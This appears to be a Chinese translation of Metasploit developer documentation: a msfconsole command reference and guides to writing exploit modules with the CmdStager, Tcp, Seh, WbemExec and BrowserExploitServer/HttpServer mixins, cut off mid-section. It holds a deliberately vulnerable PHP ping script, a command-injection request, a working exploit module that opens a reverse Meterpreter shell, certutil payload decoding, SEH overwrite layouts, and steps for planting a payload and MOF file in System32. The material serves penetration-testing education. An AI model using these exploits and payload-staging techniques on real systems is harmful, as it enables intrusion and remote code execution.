metasploit-framework

msfconsole命令

核心命令

命令      描述
------- -----------
?             帮助菜单
banner 显示一个很棒的metasploit的横幅
cd 改变当前工作目录
color 切换颜色
connect 与一个主机进行通信
debug 显示对调试有用的信息
exit 退出控制台
get 获取上下文特定变量的值
getg 获取一个全局变量的值
grep 抓取另一个命令的输出
help 帮助菜单
history 显示命令历史
load 加载一个框架插件
quit 退出控制台
repeat 重复一个命令列表
route 通过一个会话路由流量
save 保存活动的数据集
sessions 倾倒会话列表并显示会话的信息
set 将一个特定于上下文的变量设置为一个值
setg 将一个全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕中
threads 查看和操作后台线程
tips 显示一个有用的生产力提示列表
unload 卸载一个框架插件
unset 取消设置一个或多个上下文特定的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库的版本号

模块命令

命令       描述
------- -----------
advanced 显示一个或多个模块的高级选项
back 从当前环境移回
clearm 清除模块堆栈
info 显示一个或多个模块的信息
listm 列出模块堆栈
loadpath 从一个路径搜索和加载模块
options 显示全局选项或一个或多个模块的选项
pop 将最新的模块从堆栈中弹出并使其处于激活状态
previous 将之前加载的模块设置为当前模块
pushm 把激活的或列表中的模块推到模块堆栈中。
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示指定类型的模块或所有模块
use 通过名称或搜索词/索引与模块互动

工作命令

命令       描述
------- -----------
handler 启动一个有效载荷处理程序作为作业
jobs 显示和管理作业
kill 杀死一个作业
rename_job 重新命名一个作业

资源脚本命令

命令       描述
------- -----------
makerc 将启动后输入的命令保存到文件中
resource 运行存储在文件中的命令

数据库后端命令

命令       描述
------- -----------
analyze 分析关于特定地址或地址范围的数据库信息
db_connect 连接到一个现有的数据服务
db_disconnect 断开与当前数据服务的连接
db_export 导出一个包含数据库内容的文件
db_import 导入一个扫描结果文件（文件类型将被自动检测）。
db_nmap 执行nmap并自动记录输出结果
db_rebuild_cache 重建数据库存储的模块缓存(已废弃)
db_remove 删除已保存的数据服务条目
db_save 将当前的数据服务连接保存为默认值，以便在启动时重新连接
db_status 显示当前的数据服务状态
hosts 列出数据库中的所有hosts
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换

凭证后端命令

命令       描述
------- -----------
creds 列出数据库中的所有凭证

开发者命令

命令       描述
------- -----------
edit 用首选编辑器编辑当前模块或文件
irb 在当前环境下打开一个交互式Ruby shell
log 显示framework.log，如果可能的话，将其分页到最后。
pry 在当前模块或框架上打开 Pry 调试器
reload_lib 从指定路径重新加载Ruby库文件

Exploit命令

命令       描述
------- -----------
check 检查目标是否有漏洞
exploit 启动一个利用的尝试
rcheck 重新加载模块并检查目标是否有漏洞
recheck rcheck 的别名
reload 只是重新加载模块
rerun rexploit的别名
rexploit 重新加载模块，并启动一次攻击尝试
run exploit 的别名

如何使用命令管理器

命令暂存器为编写针对典型漏洞（如命令执行或代码注入）的漏洞提供了一种简单的方法。目前有八种不同类型的命令暂存器，每一种都使用系统命令（或命令）来保存你的有效载荷，有时会解码，并执行。

漏洞测试案例

解释如何使用命令暂存器的最好方法可能是通过演示。这里我们有一个PHP中的命令注入漏洞，实际上你可能会在一个企业级软件中看到这种愚蠢的东西。这个漏洞是你可以在ping的系统调用中注入额外的系统命令：

<?phpif ( isset($_GET["ip"]) ) {$output = system("ping -c 1 " . $_GET["ip"]);die($output);}
?><html>
<body><form action = "ping.php" method = "GET">IP to ping: <input type = "text" name = "ip" /> <input type = "submit" /></form></body>
</html>

将上述PHP脚本（ping.php）放在Ubuntu + Apache + PHP服务器上。

在正常使用情况下，该脚本的表现是这样的–它只是对你指定的主机进行ping，并向你显示输出结果：

$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms

好了，现在我们可以稍微滥用一下，执行另一个命令（ID）:

$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1+%26%26+id"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

看到www-data了吗？那是我们要求脚本执行的第二个命令的输出。通过这样做，我们还可以做一些更讨厌的事情–比如在目标系统上写入Meterpreter的有效载荷，并执行它。

The Msf::Exploit::CmdStager Mixin

现在让我们来谈谈如何使用一个命令暂存器来利用上述脚本的问题。有几个步骤你需要做：

包括Msf::Exploit::CmdStager混合器

虽然有八种类型的 Mixin/stager，但在编写Metasploit漏洞时，你只需要包括Msf::Exploit::CmdStager。该混合器基本上是所有八个命令管理器的接口：

include Msf::Exploit::CmdStager

声明你的口味

为了告诉Msf::Exploit::CmdStager你想要什么口味，你可以在模块的元数据中添加CmdStagerFlavor信息。无论是从公共层面，还是从目标层面。允许多种口味。

一个为特定目标设置口味的例子：

'Targets'   =>[[ 'Windows',{'Arch' => [ ARCH_X86_64, ARCH_X86 ],'Platform' => 'win','CmdStagerFlavor' => [ 'certutil', 'vbs' ]}]]

或者，你可以把这些信息传递给execute_cmdstager方法（见调用#execute_cmdstager开始）。

execute_cmdstager(flavor: :vbs)

创建execute_command方法

你还必须在你的模块中创建一个 def execute_command(cmd, opts = {}) 方法。这是CmdStager混合器启动时调用的方法。你在这个方法中的目的是将cmd变量中的任何内容注入到易受攻击的代码中。

调用#execute_cmdstager来开始

最后，在你的利用方法中，调用execute_cmdstager来启动命令缓存器。

多年来，我们还了解到，在调用execute_cmdstager时，这些选项是相当方便的：

flavor - 你可以在这里指定使用哪种命令暂存器（风味）。选项有： :bourne, :debug_asm, :debug_write, :echo, :printf, :vbs, :certutil, :tftp。
delay - 每条命令执行之间要延迟多少时间。默认为0.25。
linemax - 每条命令的最大字符数。2047是默认值。

Msf::Exploit::CmdStager Template

至少，当你使用CmdStager混合器时，你的漏洞应该这样开始：

require 'msf/core'class MetasploitModule < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::CmdStagerdef initialize(info={})super(update_info(info,'Name'            => "Command Injection Using CmdStager",'Description'     => %q{This exploits a command injection using the command stager.},'License'         => MSF_LICENSE,'Author'          => [ 'sinn3r' ],'References'      => [ [ 'URL', 'http://metasploit.com' ] ],'Platform'        => 'linux','Targets'         => [ [ 'Linux', {} ] ],'Payload'         => { 'BadChars' => "\x00" },'CmdStagerFlavor' => [ 'printf' ],'Privileged'      => false,'DisclosureDate'  => "Jun 10 2016",'DefaultTarget'   => 0))enddef execute_command(cmd, opts = {})# calls some method to inject cmd to the vulnerable code.enddef exploitprint_status("Exploiting...")execute_cmdstagerendend

正如你所看到的，我们选择了 "printf "风味作为我们的命令储存器。我们将在后面解释更多，但基本上它所做的是将我们的有效载荷写入/tmp并执行它。

现在让我们修改execute_command方法，并针对测试案例获得代码执行。根据PoC，我们知道我们的注入字符串应该是这样的：

127.0.0.1+%26%26+[Malicious commands]

我们在execute_command中使用HttpClient来做这个。注意到实际上涉及到一些坏的字符过滤，以使该漏洞正常工作，这是预期的：

def filter_bad_chars(cmd)cmd.gsub!(/chmod \+x/, 'chmod 777')cmd.gsub!(/;/, ' %26%26 ')cmd.gsub!(/ /, '+')
enddef execute_command(cmd, opts = {})send_request_cgi({'method'        => 'GET','uri'           => '/ping.php','encode_params' => false,'vars_get'      => {'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"}})
enddef exploitprint_status("Exploiting...")execute_cmdstager
end

让我们运行它，我们应该有一个外壳：

msf exploit(cmdstager_demo) > run[*] Started reverse TCP handler on 10.6.0.92:4444
[*] Exploiting...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 10.6.0.92
[*] Meterpreter session 1 opened (10.6.0.92:4444 -> 10.6.0.92:51522) at 2016-06-10 11:51:03 -0500

Flavors

现在我们知道了如何使用Msf::Exploit::CmdStager混合器，让我们看看你可以使用的命令暂存器。

VBS命令管理器 - 仅限Windows

VBS命令管理器是针对Windows的。它的作用是用Base64编码我们的有效载荷，将其保存在目标机器上，同时使用echo命令写一个VBS脚本，然后让VBS脚本对Base64有效载荷进行解码，并执行它。

如果你利用的是支持Powershell的Windows，那么你可能要考虑使用它而不是VBS暂存器，因为Powershell往往更隐蔽。

要使用VBS缓存器，可以在元数据中指定你的CmdStagerFlavor：

'CmdStagerFlavor' => [ 'vbs' ]

或者将:vbs键设置为execute_cmdstager：

execute_cmdstager(flavor: :vbs)

你还需要确保该模块支持的平台包括windows（也在元数据中），例如：

'Platform' => 'win'

Certutil命令管理器 - 仅限Windows系统

Certutil是一个Windows命令，可以用来转储和显示认证机构、配置信息，配置证书服务，备份和恢复CA组件等。它只配备了从Windows 2012开始的较新的Windows系统，以及Windows 8。

certutil还可以为我们做一件事，就是对证书的Base64字符串进行解码，并将解码后的内容保存到一个文件中。以下是演示：

echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin

为了利用这一点，Certutil命令暂存器将把有效载荷以Base64格式保存为假证书，要求certutil对其进行解码，然后最后执行它。

要使用Certutil命令管理器，可以在元数据中指定你的CmdStagerFlavor：

'CmdStagerFlavor' => [ 'certutil' ]

或者将 :certutil 密钥设置为 execute_cmdstager：

execute_cmdstager(flavor: :certutil)

你还需要记得在元数据中设置平台：

'Platform' => 'win'

Debug_write命令管理器 - 仅限Windows系统

debug_write命令滞后是一个古老的Windows技巧，用来向系统写入一个文件。在本例中，我们用debug.exe写一个小的.Net二进制文件，这个二进制文件将接收由echo命令创建的hex-ascii文件，对二进制文件进行解码，并最终执行。

很明显，为了能够使用这个命令栈，你必须确保目标是一个支持.Net的Windows系统。

要使用debug_write命令管理器，要么在元数据中指定你的CmdStagerFlavor：

'CmdStagerFlavor' => [ 'debug_write' ]

或者将 :debug_write 键设置为 execute_cmdstager：

execute_cmdstager(flavor: :debug_write)

你还需要记得在元数据中设置平台：

'Platform' => 'win'

Debug_asm命令管理器 - 仅限Windows系统

如何使用Msf::Exploit::Remote::Tcp

在Metasploit框架中，TCP套接字被实现为Rex::Socket::Tcp，它扩展了内置的Ruby套接字基类。你应该总是使用Rex套接字而不是本地的Ruby套接字，因为如果不这样做，你的套接字就不能被框架本身管理，当然也会缺少一些功能，如透视。Metasploit文档目录中的《开发者指南》很好地解释了这一点。

对于模块开发，通常你不会直接使用 Rex，所以你会使用 Msf::Exploit::Remote::Tcp mixin。这个混合器已经提供了一些有用的功能，你在开发过程中其实不必担心，比如TCP规避、代理、SSL等等。你所要做的就是建立这个连接，发送一些东西，接收一些东西，然后你就完成了。

听起来很容易，对吗？

使用mixin

要使用该mixin，只需在你的模块的 class Metasploit3（或 class Metasploit4）范围内添加以下语句：

include Msf::Exploit::Remote::Tcp

当mixin被包含时，注意在你的模块下会有以下数据存储选项注册：

SSL - 为出站连接协商SSL。
SSLVersion - 使用的SSL版本。SSL2, SSL3, TLS1。默认是TLS1。
SSLVerifyMode - 验证模式。client_once, fail_if_no_peer_cert, none, peer. 默认为PEER。
Proxies - 允许你的模块支持代理。
ConnectTimeout - 默认为10秒。
TCP::max_send_size - 规避选项。最大的TCP段大小。
TCP::send_delay - 逃避性选项。每次发送前插入的延迟。

如果你想了解如何改变数据存储选项的默认值，请阅读 “改变数据存储选项的默认值”

建立连接

要进行连接，只需进行以下操作：

connect

当你这样做时，发生的情况是，connect方法将调用Rex::Socket::Tcp.create来创建套接字，并将其注册到框架中。它自动检查RHOST/PORT数据存储选项（所以它知道要连接到哪里），但你也可以手动改变这个：

# This connects to metasploit.com
connect(true, {'RHOST'=>'208.118.237.137', 'RPORT'=>80})

然后，connect 方法将返回Socket对象，该对象也可以全局访问。

但是你看，这里面还有一点。connect方法还可以引发一些你可能想捕捉的Rex异常，包括：

Rex::AddressInUse - 当它实际绑定到同一个IP/端口时可能会出现。
::Errno::ETIMEDOUT - 当Timeout.timeout()等待连接的时间过长。
Rex::HostUnreachable - 不言自明。
Rex::ConnectionTimeout - 不言自明。
Rex::ConnectionRefused - 不言而喻。

所以总结一下，理想情况下，当你使用connect方法时，你应该拯救这些：

rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused

如果你好奇所有这些异常是在哪里引发的，你可以在lib/rex/socket/comm/local.rb中找到它们。

发送数据

用Tcp mixin发送数据有几种方法。为了使事情变得更简单、更安全，我们建议只使用put方法：

sock.put "Hello, World!"

put方法更安全的原因是它不允许例程永远挂起。默认情况下，它不会等待，但如果你想让它更灵活，你可以这样做：

beginsock.put("data", {'Timeout'=>5})
rescue ::Timeout::Error# You can decide what to do if the writing times out
end

接收数据

现在，让我们来谈谈如何接收数据。主要有三种方法可以使用：get_once, get, 和timed_read。不同的是，get_once只会尝试轮询流，看是否有任何可用的读取数据，但get方法会一直读取，直到没有数据为止。至于timed_read，它基本上是用一个Timeout包住的read方法。

下面演示了get_once的使用方法：

beginbuf = sock.get_once
rescue ::EOFError
end

注意get_once也可能在没有读到数据的情况下返回nil，或者在收到nil作为数据时遇到一个EOFError。所以请确保你在你的模块中捕捉到了nil。

数据读取方法可以在lib/rex/io/stream.rb中找到。

断开连接

要断开连接，只需做：

disconnect

在一个确保块中断开连接是非常重要的，这显然是为了确保在出错的情况下你总是断开连接。如果你不这样做，你可能会得到一个只能向服务器发出一个请求的模块（即第一个请求），而其他的都被破坏。

完整实例

下面的例子应该能证明你通常要如何使用Tcp mixin：

# Sends data to the remote machine
#
# @param data [String] The data to send
# @return [String] The received data
def send_recv_once(data)buf = ''beginconnectsock.put(data)buf = sock.get_once || ''rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => eelog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")ensuredisconnectendbuf
end

如何使用Seh mixin来利用一个异常处理程序

异常处理程序覆盖曾经是一种非常流行的利用堆栈缓冲区溢出的技术，但在较新的程序中已经不那么常见了，因为很可能它们是用SafeSEH编译的。在某一时期，即使启用了SafeSEH，仍然有可能通过堆喷来滥用异常处理程序，当然，内存保护并没有就此停止。DEP/FASLR最终拯救了我们，所以这几乎结束了SEH漏洞的辉煌时代。你可能仍然可以找到没有用SafeSEH编译的易受攻击的应用程序，但有可能该应用程序已经过时，不再维护，或者它更像是开发人员的一个学习实验。哦，而且可能已经有一个漏洞了。尽管如此，利用异常处理的堆栈缓冲区溢出还是很有趣的，所以如果你真的遇到了，这里是用Metasploit的Seh mixin来写的，应该是这样的。

要求

为了能够使用SEH混合器，必须满足一些可利用的要求。

脆弱的程序没有SafeSEH的存在。
没有DEP（数据执行预防）。混合器使用一个短跳来能够执行有效载荷，这意味着内存必须是可执行的。DEP，顾名思义，可以防止这种情况。

使用方法

首先，确保你在你的模块的Metasploit3类的范围内包含Seh mixin：

include Msf::Exploit::Seh

接下来，你需要为SE处理程序设置一个Ret地址。这个地址应该放在你的模块的元数据中，特别是在 Targets 下。在 Metasploit 中，每个目标实际上是一个包含两个元素的数组。第一个元素只是目标的名称（目前没有严格的命名方式），第二个元素实际上是一个哈希值，包含该目标的特定信息，如目标地址。下面是一个设置Ret地址的例子。

'Targets'        =>[[ 'Windows XP', {'Ret' => 0x75022ac4 } ] # p/p/r in ws2help.dll]

正如你所看到的，记录Ret地址的作用，以及它指向哪个DLL也是一个好习惯。

Ret实际上是一种特殊的键，因为它可以通过在模块中使用target.ret来检索。在我们接下来的例子中，你会看到使用target.ret来代替对目标地址的原始编码。

如果你需要一个工具来找到Ret地址的POP/POP/RET，你可以使用Metasploit的msbinscan工具，它位于工具目录下。

好了，现在让我们继续说说方法。Seh mixin提供了两个方法：

generate_seh_payload - 生成一个假的SEH记录，并在其后附上有效载荷。下面是一个例子：

buffer = ''
buffer << "A" * 1024 # 1024 bytes of padding
buffer << generate_seh_payload(target.ret) # SE record overwritten after 1024 bytes

缓冲区的实际布局在内存中应该是这样的：

[ 1024 bytes of 'A' ][ A short jump ][ target.ret ][ Payload ]

generate_seh_record - 生成一个没有有效载荷的假SEH记录，以防你喜欢把有效载荷放在其他地方。代码示例：
```
buffer = ''
buffer << "A" * 1024 # 1024 bytes of padding
buffer << generate_seh_payload(target.ret)
buffer << "B" * 1024 # More padding
```
存储器的布局应该是这样的：
```
[ 1024 bytes of 'A' ][ A short jump ][ target.ret ][ Padding ]
```
参考文献

https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/exploitation/seh.rb

https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/seh.rb

如何使用WbemExec在Windows上进行写权限攻击

Windows Management Instrumentation（WMI）是微软对基于网络的企业管理（WBEM）的实现，它使用托管对象格式（MOF）来创建通用信息模型（CIM）类。安全界实际上并不熟悉这项技术的邪恶之处，直到Stuxnet的诞生，它使用MOF文件来利用一个漏洞，允许攻击者通过一个假的Printer Spooler服务来创建文件。这项技术后来被逆向工程化，并在Metasploit的ms10_061_spoolss.rb模块中演示，这大大改变了我们对待写权限攻击的方式。一般来说，如果你发现自己能够写到system32，你就很可能利用这种技术。

要求

为了能够使用WBemExec混合器，您必须满足以下要求:

对C:\Windows\System32\的写入权限
对C:\Windows\System32\Wbem\的写入权限
目标必须不是比Windows Vista更新的系统（所以主要适用于XP、Win 2003或更老的系统）。这更像是API的限制，而不是技术的限制。新的Windows操作系统需要先对MOF文件进行预编译。

使用方法

首先，在你的MetasploitModule类的范围内包含WbemExec混合器。你还需要EXE混合器来生成一个可执行文件:

include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

接下来，生成一个有效载荷名称和可执行文件：

payload_name = "evil.exe"
exe = generate_payload_exe

然后用generate_mof方法生成mof文件。第一个参数应该是mof文件的名称，第二个参数是有效载荷的名称：

mof_name = "evil.mof"
mof = generate_mof(mof_name, payload_name)

现在你已经准备好将文件写入/上传至目标机。一定要确保你首先将有效的可执行文件上传到C:\Windows\System32\。

upload_file_to_system32(payload_name, exe) # Write your own upload method

然后现在你可以把mof文件上传到C:\Windows\System32\wbem\：

upload_mof(mof_name, mof) # Write your own upload method

一旦mof文件被上传，Windows管理服务应该会接收并执行它，最终会在system32中执行你的有效载荷。另外，mof文件在使用后会自动从mof目录中移出。

参考文献

https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/wbemexec.rb

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms10_061_spoolss.rb

如何使用BrowserExploitServer编写一个浏览器漏洞

Metasploit框架提供了不同的混合元素，你可以用来开发一个浏览器漏洞，主要有以下几种：

Msf::Exploit::Remote::HttpServer - HTTP服务器的最基本形式。
Msf::Exploit::Remote::HttpServer::HTML - 它提供了模块在制作HTML内容时可以使用的Javascript函数。
Msf::Exploit::Remote::BrowserExploitServer - 它包括HttpServer和HttpServer::HTML的功能，但有更多的好处。这篇报道涵盖了BrowserExploitServer混合器。

自动开发程序

BrowserExploitServer混合器是唯一一个专门为浏览器开发设计的混合器。在使用这个混合器之前，你应该了解它在幕后为你做什么：

它自动收集浏览器信息，包括以下内容。操作系统名称、版本、浏览器名称、浏览器版本、是否使用代理、Java插件版本、微软Office版本，等等，等等。如果浏览器没有启用Javascript，那么它对目标的了解就会减少。所有收集到的信息都将储存在混合器管理的档案中。
然后，混合器将标记浏览器以跟踪会话。当需要时，它也会使用相同的标签来检索配置文件。
在混合器决定是否向浏览器提供漏洞之前，它将与模块一起检查任何可利用的要求。如果不符合要求，它将向浏览器发送一个404，然后操作就结束了。
如果符合要求，mixin将把配置文件（在检测阶段收集的关于浏览器的信息）传递给模块，并让它接管剩下的工作。

提示：在模块中，你可以检查配置文件中的 :source 键，以确定是否启用了 Javascript。如果:source是 “script”，说明Javascript已经启用。如果是 “头文件”（如HTTP头文件），则说明浏览器已禁用Javascript。

设置可利用的要求

能够设置浏览器的要求是mixin的一个重要功能。它可以让你的攻击更聪明，更有针对性，并防止意外。这里有一个场景。假设你有一个针对Internet Explorer的漏洞，只影响到MSHTML构建的特定范围，你可以设置 :os_name, :ua_name, :ua_ver, 和 :mshtml_build 以确保它不会盲目地对其他东西进行攻击。:mshtml_build要求可以在MSHTML的文件属性下的 "产品版本 "中找到。

可利用的浏览器要求是在模块元数据的 "BrowserRequirements "中定义的。下面是一个定义运行一些ActiveX控件的脆弱目标的例子：

'BrowserRequirements' =>
{source: /script/i,activex: [{clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',method: 'LoadMovie'}],os_name: /win/i
}

你也可以定义目标的具体要求。这也是mixin能够自动选择目标的方式，你可以通过 "get_target "方法得到它。下面是一个例子，说明如何为Win XP上的IE8和Win 7上的IE9定义目标特定要求：

'BrowserRequirements' =>{:source   => /script|headers/i,'ua_name' => HttpClients::IE,},
'Targets'             =>[[ 'Automatic', {} ],['Windows XP with IE 8',{:os_name    => 'Windows XP','ua_ver'    => '8.0','Rop'       => true,'Offset'    => 0x100}],['Windows 7 with IE 9',{'os_name'   => 'Windows 7','ua_ver'    => '9.0','Rop'       => true,'Offset'    => 0x200}]]

你可以将这些用于**:os_name**：

Constant	Purpose
OperatingSystems::Match::WINDOWS	Match all versions of Windows
OperatingSystems::Match::WINDOWS_95	Match Windows 95
OperatingSystems::Match::WINDOWS_98	Match Windows 98
OperatingSystems::Match::WINDOWS_ME	Match Windows ME
OperatingSystems::Match::WINDOWS_NT3	Match Windows NT 3
OperatingSystems::Match::WINDOWS_NT4	Match Windows NT 4
OperatingSystems::Match::WINDOWS_2000	Match Windows 2000
OperatingSystems::Match::WINDOWS_XP	Match Windows XP
OperatingSystems::Match::WINDOWS_2003	Match Windows Server 2003
OperatingSystems::Match::WINDOWS_VISTA	Match Windows Vista
OperatingSystems::Match::WINDOWS_2008	Match Windows Server 2008
OperatingSystems::Match::WINDOWS_7	Match Windows 7
OperatingSystems::Match::WINDOWS_2012	Match Windows 2012
OperatingSystems::Match::WINDOWS_8	Match Windows 8
OperatingSystems::Match::WINDOWS_81	Match Windows 8.1
OperatingSystems::Match::LINUX	Match a Linux distro
OperatingSystems::Match::MAC_OSX	Match Mac OSX
OperatingSystems::Match::FREEBSD	Match FreeBSD
OperatingSystems::Match::NETBSD	Match NetBSD
OperatingSystems::Match::OPENBSD	Match OpenBSD
OperatingSystems::Match::VMWARE	Match VMWare
OperatingSystems::Match::ANDROID	Match Android
OperatingSystems::Match::APPLE_IOS	Match Apple IOS

你可以将这些用于 :ua_name:

Constant	Value
HttpClients::IE	“MSIE”
HttpClients::FF	“Firefox”
HttpClients::SAFARI	“Safari”
HttpClients::OPERA	“Opera”
HttpClients::CHROME	“Chrome”

更多的这些常量可以在这里找到：https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/constants.rb

混合器目前支持的所有需求都可以在这里找到（见REQUIREMENT_KEY_SET）：

https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/browser_exploit_server.rb#L46

设置一个监听器

在检测阶段和需求检查之后，mixin将触发 "on_request_exploit "回调方法，这是你处理HTTP请求，制作HTML，并发送回漏洞响应的地方。下面是一个关于如何设置 "on_request_exploit "的例子：

#
# Listens for the HTTP request
# cli is the socket
# request is the Rex::Proto::Http::Request object
# target_info is a hash that contains all the browser info (aka the profile)
#
def on_request_exploit(cli, request, target_info)print_status("Here's what I know about the target: #{target_info.inspect}")
end

用BrowserExploitServer精心制作HTML

BrowserExploitServer混合器支持两种编码方式。好的老式HTML，或ERB模板。第一种是不言自明的：

def on_request_exploit(cli, request, target_info)html = %Q|<html>Hello, world!</html>|send_exploit_html(cli, html)
end

ERB是一种编写Metasploit浏览器漏洞的新方法。如果你写过一两个网络应用程序，这对你来说就不陌生了。当你使用BrowserExploitServer混合元素来编写漏洞时，真正发生的是你在编写一个Rail模板。下面是一个使用该功能的例子：

def on_request_exploit(cli, request, target_info)html = %Q|<html>Do you feel lucky, punk?<br><% if [true, false].sample %>Lucky!<br><% else %>Bad luck, bro!<Br><% end %></html>|send_exploit_html(cli, html)
end

如果你想访问本地变量或参数，确保将绑定对象传递给send_exploit_html：

def exploit_template1(target_info, txt)txt2 = "I can use local vars!"template = %Q|<% msg = "This page is generated by an exploit" %><%=msg%><br><%=txt%><br><%=txt2%><br><p></p>Data gathered from source: #{target_info[:source]}<br>OS name: #{target_info[:os_name]}<br>UA name: #{target_info[:ua_name]}<br>UA version: #{target_info[:ua_ver]}<br>Java version: #{target_info[:java]}<br>Office version: #{target_info[:office]}|return template, binding()
enddef on_request_exploit(cli, request, target_info)send_exploit_html(cli, exploit_template(target_info, txt))
end

在制作漏洞时，BrowserExploitServer混合器还提供了很多其他有用的东西。例如：当你调用 "get_payload "方法时，它可以生成一个针对目标的有效载荷。它还允许你访问RopDb混合器，它包含一个绕过DEP（数据执行防护）的ROP集合。请确保查看API文档以了解更多信息。

为了让事情开始，这里有一个代码例子，你可以用来开始开发你的浏览器漏洞：

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##require 'msf/core'class MetasploitModule < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::BrowserExploitServerdef initialize(info={})super(update_info(info,'Name'           => "BrowserExploitServer Example",'Description'    => %q{This is an example of building a browser exploit using the BrowserExploitServer mixin},'License'        => MSF_LICENSE,'Author'         => [ 'sinn3r' ],'References'     =>[[ 'URL', 'http://metasploit.com' ]],'Platform'       => 'win','BrowserRequirements' =>{:source => /script|headers/i,},'Targets'        =>[[ 'Automatic', {} ],['Windows XP with IE 8',{'os_name'   => 'Windows XP','ua_name'   => 'MSIE','ua_ver'    => '8.0'}],['Windows 7 with IE 9',{'os_name'   => 'Windows 7','ua_name'   => 'MSIE','ua_ver'    => '9.0'}]],'Payload'        => { 'BadChars' => "\x00" },'DisclosureDate' => "Apr 1 2013",'DefaultTarget'  => 0))enddef exploit_template(target_info)template = %Q|Data source: <%=target_info[:source]%><br>OS name: <%=target_info[:os_name]%><br>UA name: <%=target_info[:ua_name]%><br>UA version: <%=target_info[:ua_ver]%><br>Java version: <%=target_info[:java]%><br>Office version: <%=target_info[:office]%>|return template, binding()enddef on_request_exploit(cli, request, target_info)send_exploit_html(cli, exploit_template(target_info))endend

混淆的JavaScript

BrowserExploitServer依靠JSObfu混合器来支持JavaScript混淆。当你写JavaScript时，你应该总是这样写：

js = js_obfuscate(your_code)

#js_obfuscate将返回一个Rex::Exploitation::JSObfu对象。要获得被混淆的JavaScript，请调用#to_s方法：

js.to_s

如果你需要访问一个被混淆的符号名称，你可以使用#sym方法：

# Get the obfuscated version of function name test()
var_name = js.sym('test')

请注意，默认情况下，即使你的模块在调用#js_obfuscate方法，除非用户设置JsObfuscate datastore选项，否则混淆不会启动。这个选项是一个OptInt，它允许你设置混淆的次数（默认为0）。

如果你的基于BES的漏洞根本不需要混淆，一定要确保你调用#deregister_options并删除JsObfuscate选项。像这样：

deregister_options('JsObfuscate')

要了解更多关于Metasploit的JavaScript混淆功能，请阅读如何在Metasploit中混淆JavaScript。

https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer
https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements

如何使用HttpServer编写一个浏览器漏洞

Metasploit框架提供了不同的混合器，你可以用来开发浏览器漏洞，主要是Msf::Exploit::Remote::HttpServer, Msf::Exploit::Remote::HttpServer::HTML 和Msf::Exploit::Remote::BrowserExploitServer。这篇报道涵盖了HttpServer混合器。

HttpServer混合器是所有HTTP服务器混合器（像BrowserExploitServer和HttpServer::HTML）之母。要使用它，你的模块需要有一个 "on_request_uri "方法，这是一个当HTTP服务器收到来自浏览器的HTTP请求时触发的回调。一个设置 "on_request_uri "的例子：

#
# Listens for a HTTP request.
# cli is the socket object, and request is a Rex::Proto::Http::Request object
#
def on_request_uri(cli, request)print_status("Client requests URI: #{request.uri}")
end

"on_request_uri "方法也是你可以创建HTTP响应的地方。这里有几个选择，你可以用它来做这件事。

send_not_found(cli) - 向客户端发送一个404。确保传递cli（socket）对象。
send_redirect(cli, location=’/’, body=’’, headers={}) - 将客户端重定向到一个新位置。
send_response(cli, body, headers={}) - 向客户端发送一个响应。这个方法可能是你在大多数时候都会使用的。

如果你看过我们的一些攻击模块，你也会看到它们使用Exploit::Remote::HttpServer::HTML而不是Exploit::Remote::HttpServer。用法基本相同，区别在于Exploit::Remote::HttpServer::HTML混合器让你可以访问一些Javascript功能，如Base64、堆喷、操作系统检测等。

下面是一个发送HTTP响应的例子：

#
# Sends a "Hello, world!" to the client
#
def on_request_uri(cli, request)html = "Hello, world!"send_response(cli, html)
end

还要注意的是，为了处理一个HTTP请求，它必须包含基本的URIPATH，默认是随机的。这意味着如果你想处理多个URI（如果你需要处理一个重定向或一个链接就有可能），你也需要确保它们有基本的URIPATH。为了检索基础URIPATH，你可以使用 "get_resource "方法，这里有一个例子：

